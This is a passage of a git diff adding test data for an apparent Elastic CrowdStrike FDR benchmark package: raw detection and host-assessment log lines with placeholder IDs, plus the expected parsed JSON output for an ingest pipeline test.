+{"eid":118,"SensorId":"55555555555555555555555555555555","Tactic":"Machine Learning","CustomerIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","EventType":"Event_ExternalApiEvent","ParentProcessId":1680759529306198500,"FileName":"webhook","UTCTimestamp":1680759530000,"FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ParentImageFileName":"/bin/busybox","MachineDomain":"","GrandparentImageFileName":"/memfd:runc_cloned:/proc/self/exe (deleted)","HostGroups":"26666666666666666666666666666666","OriginSourceIpAddress":"","SHA1String":"0000000000000000000000000000000000000000","ProcessEndTime":0,"IOCValue":"31a0f9b83d1cd121cef133333333333333333333333333333333333333333333","LocalIP":"172.17.0.1","DetectDescription":"This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.","ParentCommandLine":"/bin/sh ./run.sh","Tags":"SensorGroupingTags/aws-k8s-production","timestamp":"2023-04-06T05:38:50Z","FilePath":"/","UserName":"cherry","PatternDispositionFlags":{"BootupSafeguardEnabled":false,"QuarantineFile":false,"QuarantineMachine":false,"HandleOperationDowngraded":false,"Detect":false,"RegistryOperationBlocked":false,"KillParent":false,"Indicator":false,"FsOperationBlocked":false,"OperationBlocked":false,"SuspendParent":false,"SuspendProcess":false,"KillProcess":true,"ProcessBlocked":false,"BlockingUnsupportedOrDisabled":false,"PolicyDisabled":true,"KillActionFailed":false,"SensorOnly":false,"CriticalProcessDisabled":false,"KillSubProcess":false,"Rooting":false,"InddetMask":false},"EventUUID":"14688888888888888888888888888888","MD5String":"cf288888888888888888888888888888","SeverityName":"Medium","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","Severity":3,"DetectId":"ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111","PatternDispositionValue":272,"ExternalApiType":"Event_DetectionSummaryEvent","SHA256String":"31a0333333333333333333333333333333333333333333333333333333333333","Nonce":1,"Objective":"Falcon Detection Method","CommandLine":"./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000","MACAddress":"02-02-02-02-02-02","GrandparentCommandLine":"runc init","ProcessStartTime":1680759529,"ComputerName":"ip-172-18-63-230.ec2.internal","DetectName":"NGAV","AgentIdString":"45444444444444444444444444444444","IOCType":"hash_sha256","ProcessId":1680759529508885200,"Technique":"Sensor-based ML","AssociatedFile":"/webhook","cid":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}
+{"eid":119,"SensorId":"666666666","Tactic":"Machine Learning","CustomerIdString":"bbbbbbb","EventType":"Event_ExternalApiEvent","ParentProcessId":1680759529306198500,"FileName":"webhook","UTCTimestamp":1680659520000,"FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ParentImageFileName":"/bin/busybox","MachineDomain":"","GrandparentImageFileName":"/memfd:runc_cloned:/proc/self/exe (deleted)","HostGroups":"26666666666666666666666666666666","OriginSourceIpAddress":"","SHA1String":"0000000000000000000000000000000000000000","ProcessEndTime":1680769672,"IOCValue":"31a0f9b83d1cd121cef133333333333333333333333333333333333333333333","LocalIP":"172.17.0.1","DetectDescription":"This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.","ParentCommandLine":"/bin/sh ./run.sh","Tags":"SensorGroupingTags/aws-k8s-production","timestamp":"2023-04-06T05:38:50Z","FilePath":"/","UserName":"cherry","PatternDispositionFlags":{"BootupSafeguardEnabled":false,"QuarantineFile":false,"QuarantineMachine":false,"HandleOperationDowngraded":false,"Detect":false,"RegistryOperationBlocked":false,"KillParent":false,"Indicator":false,"FsOperationBlocked":false,"OperationBlocked":false,"SuspendParent":false,"SuspendProcess":false,"KillProcess":true,"ProcessBlocked":false,"BlockingUnsupportedOrDisabled":false,"PolicyDisabled":true,"KillActionFailed":false,"SensorOnly":false,"CriticalProcessDisabled":false,"KillSubProcess":false,"Rooting":false,"InddetMask":false},"EventUUID":"14688888888888888888888888888888","MD5String":"cf288888888888888888888888888888","SeverityName":"Medium","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","Severity":3,"DetectId":"ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111","PatternDispositionValue":272,"ExternalApiType":"Event_DetectionSummaryEvent","SHA256String":"31a0333333333333333333333333333333333333333333333333333333333333","Nonce":1,"Objective":"Falcon Detection Method","CommandLine":"./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000","MACAddress":"02-02-02-02-02-02","GrandparentCommandLine":"runc init","ProcessStartTime":1680759529,"ComputerName":"ip-172-18-63-230.ec2.internal","DetectName":"NGAV","AgentIdString":"45444444444444444444444444444444","IOCType":"hash_sha256","ProcessId":1680759529508885200,"Technique":"Sensor-based ML","AssociatedFile":"/webhook","cid":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}
+{"eid":119,"SensorId":"666666666","Tactic":"Machine Learning","CustomerIdString":"bbbbbbb","EventType":"Event_ExternalApiEvent","ParentProcessId":1680759529306198500,"FileName":"webhook","UTCTimestamp":1680659520000,"FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ParentImageFileName":"/bin/busybox","MachineDomain":"","GrandparentImageFileName":"/memfd:runc_cloned:/proc/self/exe (deleted)","HostGroups":"26666666666666666666666666666666","OriginSourceIpAddress":"","SHA1String":"0000000000000000000000000000000000000000","ProcessEndTime":1680769672,"IOCValue":"31a0f9b83d1cd121cef133333333333333333333333333333333333333333333","LocalIP":"172.17.0.1","DetectDescription":"This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.","ParentCommandLine":"/bin/sh ./run.sh","Tags":"SensorGroupingTags/aws-k8s-production","timestamp":"2023-04-06T05:38:50Z","FilePath":"/","UserName":"cherry","PatternDispositionFlags":{"BootupSafeguardEnabled":false,"QuarantineFile":false,"QuarantineMachine":false,"HandleOperationDowngraded":false,"Detect":false,"RegistryOperationBlocked":false,"KillParent":false,"Indicator":false,"FsOperationBlocked":false,"OperationBlocked":false,"SuspendParent":false,"SuspendProcess":false,"KillProcess":true,"ProcessBlocked":false,"BlockingUnsupportedOrDisabled":false,"PolicyDisabled":true,"KillActionFailed":false,"SensorOnly":false,"CriticalProcessDisabled":false,"KillSubProcess":false,"Rooting":false,"InddetMask":false},"EventUUID":"14688888888888888888888888888888","MD5String":"cf288888888888888888888888888888","SeverityName":"Medium","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","Severity":"3","DetectId":"ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111","PatternDispositionValue":272,"ExternalApiType":"Event_DetectionSummaryEvent","SHA256String":"31a0333333333333333333333333333333333333333333333333333333333333","Nonce":1,"Objective":"Falcon Detection Method","CommandLine":"./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000","MACAddress":"02-02-02-02-02-02","GrandparentCommandLine":"runc init","ProcessStartTime":1680759529,"ComputerName":"ip-172-18-63-230.ec2.internal","DetectName":"NGAV","AgentIdString":"45444444444444444444444444444444","IOCType":"hash_sha256","ProcessId":1680759529508885200,"Technique":"Sensor-based ML","AssociatedFile":"/webhook","cid":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}
+{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment"}
+{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":"89","sensor":"100","overall":"97","version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log-expected.json
new file mode 100644
index 0000000000..010b379125
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log-expected.json
@@ -0,0 +1,487 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2023-04-06T05:38:50.000Z",
+            "crowdstrike": {
+                "AgentIdString": "45444444444444444444444444444444",
+                "AssociatedFile": "/webhook",
+                "CustomerIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.",
+                "DetectId": "ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111",
+                "DetectName": "NGAV",
+                "EventType": "Event_ExternalApiEvent",
+                "EventUUID": "14688888888888888888888888888888",
+                "ExternalApiType": "Event_DetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "FileName": "webhook",
+                "FilePath": "/",
+                "GrandparentCommandLine": "runc init",
+                "GrandparentImageFileName": "/memfd:runc_cloned:/proc/self/exe (deleted)",
+                "HostGroups": "26666666666666666666666666666666",
+                "IOCType": "hash_sha256",
+                "IOCValue": "31a0f9b83d1cd121cef133333333333333333333333333333333333333333333",
+                "LocalIP": "172.17.0.1",
+                "MACAddress": "02-02-02-02-02-02",
+                "MD5String": "cf288888888888888888888888888888",
+                "Nonce": 1,
+                "Objective": "Falcon Detection Method",
+                "ParentCommandLine": "/bin/sh ./run.sh",
+                "ParentImageFileName": "/bin/busybox",
+                "PatternDispositionDescription": "Detection, process would have been killed if related prevention policy setting was enabled.",
+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": false,
+                    "BootupSafeguardEnabled": false,
+                    "CriticalProcessDisabled": false,
+                    "Detect": false,
+                    "FsOperationBlocked": false,
+                    "HandleOperationDowngraded": false,
+                    "InddetMask": false,
+                    "Indicator": false,
+                    "KillActionFailed": false,
+                    "KillParent": false,
+                    "KillProcess": true,
+                    "KillSubProcess": false,
+                    "OperationBlocked": false,
+                    "PolicyDisabled": true,
+                    "ProcessBlocked": false,
+                    "QuarantineFile": false,
+                    "QuarantineMachine": false,
+                    "RegistryOperationBlocked": false,
+                    "Rooting": false,
+                    "SensorOnly": false,
+                    "SuspendParent": false,
+                    "SuspendProcess": false
+                },
+                "PatternDispositionValue": 272,
+                "ProcessId": 1680759529508885200,
+                "SHA1String": "0000000000000000000000000000000000000000",
+                "SHA256String": "31a0333333333333333333333333333333333333333333333333333333333333",
+                "SensorId": "55555555555555555555555555555555",
+                "Severity": 3,
+                "SeverityName": "Medium",
+                "Tactic": "Machine Learning",
+                "Tags": [
+                    "SensorGroupingTags/aws-k8s-production"
+                ],
+                "Technique": "Sensor-based ML",
+                "cid": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "eid": 118
+            },
+            "device": {
+                "id": "55555555555555555555555555555555"
+            },
+            "event": {
+                "created": "2023-04-06T05:38:50.000Z",
+                "id": "||aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "original": "{\"eid\":118,\"SensorId\":\"55555555555555555555555555555555\",\"Tactic\":\"Machine Learning\",\"CustomerIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"EventType\":\"Event_ExternalApiEvent\",\"ParentProcessId\":1680759529306198500,\"FileName\":\"webhook\",\"UTCTimestamp\":1680759530000,\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ParentImageFileName\":\"/bin/busybox\",\"MachineDomain\":\"\",\"GrandparentImageFileName\":\"/memfd:runc_cloned:/proc/self/exe (deleted)\",\"HostGroups\":\"26666666666666666666666666666666\",\"OriginSourceIpAddress\":\"\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"ProcessEndTime\":0,\"IOCValue\":\"31a0f9b83d1cd121cef133333333333333333333333333333333333333333333\",\"LocalIP\":\"172.17.0.1\",\"DetectDescription\":\"This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.\",\"ParentCommandLine\":\"/bin/sh ./run.sh\",\"Tags\":\"SensorGroupingTags/aws-k8s-production\",\"timestamp\":\"2023-04-06T05:38:50Z\",\"FilePath\":\"/\",\"UserName\":\"cherry\",\"PatternDispositionFlags\":{\"BootupSafeguardEnabled\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"HandleOperationDowngraded\":false,\"Detect\":false,\"RegistryOperationBlocked\":false,\"KillParent\":false,\"Indicator\":false,\"FsOperationBlocked\":false,\"OperationBlocked\":false,\"SuspendParent\":false,\"SuspendProcess\":false,\"KillProcess\":true,\"ProcessBlocked\":false,\"BlockingUnsupportedOrDisabled\":false,\"PolicyDisabled\":true,\"KillActionFailed\":false,\"SensorOnly\":false,\"CriticalProcessDisabled\":false,\"KillSubProcess\":false,\"Rooting\":false,\"InddetMask\":false},\"EventUUID\":\"14688888888888888888888888888888\",\"MD5String\":\"cf288888888888888888888888888888\",\"SeverityName\":\"Medium\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"Severity\":3,\"DetectId\":\"ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111\",\"PatternDispositionValue\":272,\"ExternalApiType\":\"Event_DetectionSummaryEvent\",\"SHA256String\":\"31a0333333333333333333333333333333333333333333333333333333333333\",\"Nonce\":1,\"Objective\":\"Falcon Detection Method\",\"CommandLine\":\"./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000\",\"MACAddress\":\"02-02-02-02-02-02\",\"GrandparentCommandLine\":\"runc init\",\"ProcessStartTime\":1680759529,\"ComputerName\":\"ip-172-18-63-230.ec2.internal\",\"DetectName\":\"NGAV\",\"AgentIdString\":\"45444444444444444444444444444444\",\"IOCType\":\"hash_sha256\",\"ProcessId\":1680759529508885200,\"Technique\":\"Sensor-based ML\",\"AssociatedFile\":\"/webhook\",\"cid\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}",
+                "severity": 47
+            },
+            "host": {
+                "hostname": "ip-172-18-63-230.ec2.internal",
+                "name": "ip-172-18-63-230.ec2.internal"
+            },
+            "process": {
+                "command_line": "./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000",
+                "end": "1970-01-01T00:00:00.000Z",
+                "parent": {
+                    "entity_id": "1680759529306198500"
+                },
+                "start": "2023-04-06T05:38:49.000Z"
+            },
+            "related": {
+                "hosts": [
+                    "ip-172-18-63-230.ec2.internal"
+                ],
+                "ip": [
+                    "172.17.0.1"
+                ],
+                "user": [
+                    "cherry"
+                ]
+            },
+            "source": {
+                "address": "172.17.0.1",
+                "ip": "172.17.0.1"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "cherry"
+            }
+        },
+        {
+            "@timestamp": "2023-04-05T01:52:00.000Z",
+            "crowdstrike": {
+                "AgentIdString": "45444444444444444444444444444444",
+                "AssociatedFile": "/webhook",
+                "CustomerIdString": "bbbbbbb",
+                "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.",
+                "DetectId": "ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111",
+                "DetectName": "NGAV",
+                "EventType": "Event_ExternalApiEvent",
+                "EventUUID": "14688888888888888888888888888888",
+                "ExternalApiType": "Event_DetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "FileName": "webhook",
+                "FilePath": "/",
+                "GrandparentCommandLine": "runc init",
+                "GrandparentImageFileName": "/memfd:runc_cloned:/proc/self/exe (deleted)",
+                "HostGroups": "26666666666666666666666666666666",
+                "IOCType": "hash_sha256",
+                "IOCValue": "31a0f9b83d1cd121cef133333333333333333333333333333333333333333333",
+                "LocalIP": "172.17.0.1",
+                "MACAddress": "02-02-02-02-02-02",
+                "MD5String": "cf288888888888888888888888888888",
+                "Nonce": 1,
+                "Objective": "Falcon Detection Method",
+                "ParentCommandLine": "/bin/sh ./run.sh",
+                "ParentImageFileName": "/bin/busybox",
+                "PatternDispositionDescription": "Detection, process would have been killed if related prevention policy setting was enabled.",
+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": false,
+                    "BootupSafeguardEnabled": false,
+                    "CriticalProcessDisabled": false,
+                    "Detect": false,
+                    "FsOperationBlocked": false,
+                    "HandleOperationDowngraded": false,
+                    "InddetMask": false,
+                    "Indicator": false,
+                    "KillActionFailed": false,
+                    "KillParent": false,
+                    "KillProcess": true,
+                    "KillSubProcess": false,
+                    "OperationBlocked": false,
+                    "PolicyDisabled": true,
+                    "ProcessBlocked": false,
+                    "QuarantineFile": false,
+                    "QuarantineMachine": false,
+                    "RegistryOperationBlocked": false,
+                    "Rooting": false,
+                    "SensorOnly": false,
+                    "SuspendParent": false,
+                    "SuspendProcess": false
+                },
+                "PatternDispositionValue": 272,
+                "ProcessId": 1680759529508885200,
+                "SHA1String": "0000000000000000000000000000000000000000",
+                "SHA256String": "31a0333333333333333333333333333333333333333333333333333333333333",
+                "SensorId": "666666666",
+                "Severity": 3,
+                "SeverityName": "Medium",
+                "Tactic": "Machine Learning",
+                "Tags": [
+                    "SensorGroupingTags/aws-k8s-production"
+                ],
+                "Technique": "Sensor-based ML",
+                "cid": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "eid": 119
+            },
+            "device": {
+                "id": "666666666"
+            },
+            "event": {
+                "created": "2023-04-05T01:52:00.000Z",
+                "id": "||aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "original": "{\"eid\":119,\"SensorId\":\"666666666\",\"Tactic\":\"Machine Learning\",\"CustomerIdString\":\"bbbbbbb\",\"EventType\":\"Event_ExternalApiEvent\",\"ParentProcessId\":1680759529306198500,\"FileName\":\"webhook\",\"UTCTimestamp\":1680659520000,\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ParentImageFileName\":\"/bin/busybox\",\"MachineDomain\":\"\",\"GrandparentImageFileName\":\"/memfd:runc_cloned:/proc/self/exe (deleted)\",\"HostGroups\":\"26666666666666666666666666666666\",\"OriginSourceIpAddress\":\"\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"ProcessEndTime\":1680769672,\"IOCValue\":\"31a0f9b83d1cd121cef133333333333333333333333333333333333333333333\",\"LocalIP\":\"172.17.0.1\",\"DetectDescription\":\"This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.\",\"ParentCommandLine\":\"/bin/sh ./run.sh\",\"Tags\":\"SensorGroupingTags/aws-k8s-production\",\"timestamp\":\"2023-04-06T05:38:50Z\",\"FilePath\":\"/\",\"UserName\":\"cherry\",\"PatternDispositionFlags\":{\"BootupSafeguardEnabled\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"HandleOperationDowngraded\":false,\"Detect\":false,\"RegistryOperationBlocked\":false,\"KillParent\":false,\"Indicator\":false,\"FsOperationBlocked\":false,\"OperationBlocked\":false,\"SuspendParent\":false,\"SuspendProcess\":false,\"KillProcess\":true,\"ProcessBlocked\":false,\"BlockingUnsupportedOrDisabled\":false,\"PolicyDisabled\":true,\"KillActionFailed\":false,\"SensorOnly\":false,\"CriticalProcessDisabled\":false,\"KillSubProcess\":false,\"Rooting\":false,\"InddetMask\":false},\"EventUUID\":\"14688888888888888888888888888888\",\"MD5String\":\"cf288888888888888888888888888888\",\"SeverityName\":\"Medium\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"Severity\":3,\"DetectId\":\"ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111\",\"PatternDispositionValue\":272,\"ExternalApiType\":\"Event_DetectionSummaryEvent\",\"SHA256String\":\"31a0333333333333333333333333333333333333333333333333333333333333\",\"Nonce\":1,\"Objective\":\"Falcon Detection Method\",\"CommandLine\":\"./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000\",\"MACAddress\":\"02-02-02-02-02-02\",\"GrandparentCommandLine\":\"runc init\",\"ProcessStartTime\":1680759529,\"ComputerName\":\"ip-172-18-63-230.ec2.internal\",\"DetectName\":\"NGAV\",\"AgentIdString\":\"45444444444444444444444444444444\",\"IOCType\":\"hash_sha256\",\"ProcessId\":1680759529508885200,\"Technique\":\"Sensor-based ML\",\"AssociatedFile\":\"/webhook\",\"cid\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}",
+                "severity": 47
+            },
+            "host": {
+                "hostname": "ip-172-18-63-230.ec2.internal",
+                "name": "ip-172-18-63-230.ec2.internal"
+            },
+            "process": {
+                "command_line": "./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000",
+                "end": "2023-04-06T08:27:52.000Z",
+                "parent": {
+                    "entity_id": "1680759529306198500"
+                },
+                "start": "2023-04-06T05:38:49.000Z",
+                "uptime": 10
+            },
+            "related": {
+                "hosts": [
+                    "ip-172-18-63-230.ec2.internal"
+                ],
+                "ip": [
+                    "172.17.0.1"
+                ],
+                "user": [
+                    "cherry"
+                ]
+            },
+            "source": {
+                "address": "172.17.0.1",
+                "ip": "172.17.0.1"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "cherry"
+            }
+        },
+        {
+            "@timestamp": "2023-04-05T01:52:00.000Z",
+            "crowdstrike": {
+                "AgentIdString": "45444444444444444444444444444444",
+                "AssociatedFile": "/webhook",
+                "CustomerIdString": "bbbbbbb",
+                "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.",
+                "DetectId": "ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111",
+                "DetectName": "NGAV",
+                "EventType": "Event_ExternalApiEvent",
+                "EventUUID": "14688888888888888888888888888888",
+                "ExternalApiType": "Event_DetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "FileName": "webhook",
+                "FilePath": "/",
+                "GrandparentCommandLine": "runc init",
+                "GrandparentImageFileName": "/memfd:runc_cloned:/proc/self/exe (deleted)",
+                "HostGroups": "26666666666666666666666666666666",
+                "IOCType": "hash_sha256",
+                "IOCValue": "31a0f9b83d1cd121cef133333333333333333333333333333333333333333333",
+                "LocalIP": "172.17.0.1",
+                "MACAddress": "02-02-02-02-02-02",
+                "MD5String": "cf288888888888888888888888888888",
+                "Nonce": 1,
+                "Objective": "Falcon Detection Method",
+                "ParentCommandLine": "/bin/sh ./run.sh",
+                "ParentImageFileName": "/bin/busybox",
+                "PatternDispositionDescription": "Detection, process would have been killed if related prevention policy setting was enabled.",
+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": false,
+                    "BootupSafeguardEnabled": false,
+                    "CriticalProcessDisabled": false,
+                    "Detect": false,
+                    "FsOperationBlocked": false,
+                    "HandleOperationDowngraded": false,
+                    "InddetMask": false,
+                    "Indicator": false,
+                    "KillActionFailed": false,
+                    "KillParent": false,
+                    "KillProcess": true,
+                    "KillSubProcess": false,
+                    "OperationBlocked": false,
+                    "PolicyDisabled": true,
+                    "ProcessBlocked": false,
+                    "QuarantineFile": false,
+                    "QuarantineMachine": false,
+                    "RegistryOperationBlocked": false,
+                    "Rooting": false,
+                    "SensorOnly": false,
+                    "SuspendParent": false,
+                    "SuspendProcess": false
+                },
+                "PatternDispositionValue": 272,
+                "ProcessId": 1680759529508885200,
+                "SHA1String": "0000000000000000000000000000000000000000",
+                "SHA256String": "31a0333333333333333333333333333333333333333333333333333333333333",
+                "SensorId": "666666666",
+                "Severity": "3",
+                "SeverityName": "Medium",
+                "Tactic": "Machine Learning",
+                "Tags": [
+                    "SensorGroupingTags/aws-k8s-production"
+                ],
+                "Technique": "Sensor-based ML",
+                "cid": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "eid": 119
+            },
+            "device": {
+                "id": "666666666"
+            },
+            "event": {
+                "created": "2023-04-05T01:52:00.000Z",
+                "id": "||aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
